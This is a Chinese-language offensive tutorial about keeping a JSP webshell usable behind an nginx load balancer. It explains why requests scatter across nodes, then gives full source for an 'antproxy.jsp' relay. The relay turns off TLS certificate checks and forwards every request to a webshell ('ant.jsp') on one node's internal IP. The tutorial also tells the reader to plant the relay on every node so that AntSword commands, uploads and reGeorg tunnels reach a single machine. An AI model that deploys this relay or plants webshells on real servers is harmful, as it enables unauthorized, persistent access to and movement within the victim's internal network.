负载均衡
负载均衡(Load Balance) 是一种廉价的扩容的方案,它的概念不是本文的重点,可以去查资料学习。实现负载均衡的方式有很多种,比如 DNS 方式、HTTP 重定向方式、IP 负载均衡方式、反向代理方式等等。
常见负载均衡的实现方式
1. ipvsadm来做IP的负载均衡
ipvsadm -a -t x.x.x.x:80 -r 172.16.2.1:8080 -m
ipvsadm -a -t x.x.x.x:80 -r 172.16.2.2:8080 -m
ipvsadm -a -t x.x.x.x:80 -r 172.16.2.3:8080 -m
将前面的ip,分配到三个服务器
2. 反向代理的负载均衡
其中像 HTTP 重定向方式、DNS方式等能够直接访问到单一机器的情况,不在我们本文讨论范围内。连接的时候,URL处按 IP 格式来填,然后把域名加在 Host 头处,就完事了。我们重点讨论不能直接访问到跑着具体业务的某个节点的情况,比如说「反向代理方式」。
反向代理方式其中比较流行的方式是用 nginx 来做负载均衡。我们先简单的介绍一下 nginx 支持的几种策略:
其中 ip_hash、url_hash 这种能固定访问到某个节点的情况,我们也不讨论,跟单机没啥区别。
我们用nginx来举个例
这样当我们去访问的时候会连接到这两个节点的其中一个,可能有一个里面没有我们的木马,导致无法去连接shell
攻击难点
- 难点一:我们需要在每一台节点的相同位置都上传相同内容的 WebShell
- 难点二:我们在执行命令时,无法知道下次的请求交给哪台机器去执行。
- 难点三:当我们需要上传一些工具时,如果用蚁剑去上传,采用的时分片上传,所以不一定可以把每个分片都上传到同一个ip,导致上传的文件无法访问
- 难点四:由于目标机器不能出外网,想进一步深入,只能使用 reGeorg/HTTPAbs 等 HTTP Tunnel,可在这个场景下,这些 tunnel 脚本全部都失灵了
四.最终解决方案
在Web 层做一次 HTTP 流量转发
我们用 AntSword 没法直接访问 LBSNode1 内网IP(172.33.0.2)的 8080 端口,但是有人能访问呀,除了 nginx 能访问之外,LBSNode2 这台机器也是可以访问 Node1 这台机器的 8080 端口的。
来参考下面这个场景下:
我们一步一步来看这个图,我们的目的是:所有的数据包都能发[LBSNode 1]这台机器。
首先是 第 1 步,我们请求 /antproxy.jsp,这个请求发给 nginx,nginx 接到数据包之后,会有两种情况:
我们先看黑色线,第 2 步把请求传递给了目标机器,请求了 Node1 机器上的 /antproxy.jsp,接着 第 3 步,/antproxy.jsp 把请求重组之后,传给了 Node1 机器上的 /ant.jsp,成功执行。
再来看红色线,第 2 步把请求传给了 Node2 机器, 接着第 3 步,Node2 机器上面的 /antproxy.jsp 把请求重组之后,传给了 Node1 的 /ant.jsp,成功执行。
1.创建antproxy.jsp脚本
参考代码如下:
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!
public static void ignoreSsl() throws Exception {
HostnameVerifier hv = new HostnameVerifier() {
public boolean verify(String urlHostName, SSLSession session) {
return true;
}
};
trustAllHttpsCertificates();
HttpsURLConnection.setDefaultHostnameVerifier(hv);
}
private static void trustAllHttpsCertificates() throws Exception {
TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
public X509Certificate[] getAcceptedIssuers() {
return null;
}
@Override
public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
// Not implemented
}
@Override
public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
// Not implemented
}
} };
try {
SSLContext sc = SSLContext.getInstance("TLS");
sc.init(null, trustAllCerts, new java.security.SecureRandom());
HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
} catch (KeyManagementException e) {
e.printStackTrace();
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
}
}
%>
<%
String target = "http://172.18.0.2:8080/ant.jsp";
URL url = new URL(target);
if ("https".equalsIgnoreCase(url.getProtocol())) {
ignoreSsl();
}
HttpURLConnection conn = (HttpURLConnection)url.openConnection();
StringBuilder sb = new StringBuilder();
conn.setRequestMethod(request.getMethod());
conn.setConnectTimeout(30000);
conn.setDoOutput(true);
conn.setDoInput(true);
conn.setInstanceFollowRedirects(false);
conn.connect();
ByteArrayOutputStream baos=new ByteArrayOutputStream();
OutputStream out2 = conn.getOutputStream();
DataInputStream in=new DataInputStream(request.getInputStream());
byte[] buf = new byte[1024];
int len = 0;
while ((len = in.read(buf)) != -1) {
baos.write(buf, 0, len);
}
baos.flush();
baos.writeTo(out2);
baos.close();
InputStream inputStream = conn.getInputStream();
OutputStream out3=response.getOutputStream();
int len2 = 0;
while ((len2 = inputStream.read(buf)) != -1) {
out3.write(buf, 0, len2);
}
out3.flush();
out3.close();
%>
注意:
a) 修改转发地址,转向目标 Node的内网IP的目标脚本访问地址。
b) 不光是WebShell ,还可以改成 reGeorg 等脚本的访问地址。我们将 target 指向了 LBSNode1 的 ant.jsp
2.上传antproxy.jsp脚本
注意:
a) 不要使用上传功能!!!,前面的难点三已经说过上传功能会分片上传导致分散在不同 Node 上,如果antproxy.jsp代码分散到不同的node上就会导致脚本无法使用所以最为稳妥的方式就是直接新建文件然后将代码复制进去。
b) 要保证每一台 Node 上都有相同路径的 antproxy.jsp,因为只有这样才能让所有的数据包都能全部到达目标主机上,所以我疯狂保存了很多次,保证每一台都上传了脚本
3. 修改 Shell 配置
将 URL 部分填写为 antproxy.jsp 的地址,其它配置不变
在这里插入图片描述
4.测试执行命令, 查看 IP
可以看到 IP 已经固定, 意味着请求已经固定到了 LBSNode1 这台机器上了。此时使用分片上传、HTTP 代理,都已经跟单机的情况没什么区别了。
查看一下 Node1 上面的 tomcat 的日志, 可以看到收束的过程:
Node1 和 Node2 交叉着访问 Node1 的 /ant.jsp 文件,符合 nginx 此时的 LBS 策略。
方案总结
1.优点
低权限就可以完成,如果权限高的话,还可以通过端口层面直接转发,不过这跟 Plan A 的关服务就没啥区别了
流量上,只影响访问 WebShell 的请求,其它的正常业务请求不会影响。
2.缺点
该方案需要「目标 Node」和「其它 Node」 之间内网互通,如果不互通就凉了